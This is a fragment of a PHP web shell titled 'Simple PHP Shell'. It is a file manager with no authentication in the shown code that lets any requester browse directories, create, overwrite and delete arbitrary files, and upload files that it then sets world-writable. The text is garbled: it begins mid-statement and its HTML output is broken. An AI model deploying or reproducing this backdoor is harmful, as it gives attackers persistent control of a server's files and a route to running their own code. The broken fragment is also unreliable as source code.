$p"; } function human_size($b){ $s=['B','KB','MB','GB']; foreach($s as $i=>$u) if($b<1024) return round($b,2).$u; $b/=1024; return human_size($b); } // Current path $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $dir = realpath($dir) ?: getcwd(); chdir($dir); // === Actions === if(isset($_POST['newfile'])){ file_put_contents($_POST['newfile'],""); } if(isset($_POST['newfolder'])){ mkdir($_POST['newfolder'],0777,true); } if(isset($_GET['del'])){ is_file($_GET['del'])?unlink($_GET['del']):@rmdir($_GET['del']); } if(isset($_POST['save'])){ file_put_contents($_POST['file'],$_POST['content']); } if(isset($_FILES['upfile']) && $_FILES['upfile']['error']==0){ move_uploaded_file($_FILES['upfile']['tmp_name'], $_FILES['upfile']['name']); @chmod($_FILES['upfile']['name'],0777); } // === Header === echo '
'; echo "Simple PHP Shell | .. Current: ".htmlspecialchars($dir)."'; echo ''; echo '
"; // === Upload + Create === echo '
| Name | Size | Perms | Actions |
|---|---|---|---|
| ".($isdir?"":"")."$f".($isdir?" /":"")." | ".($isdir?"<DIR>":human_size(filesize($path)))." | ".perms($path)." | Edit | Del |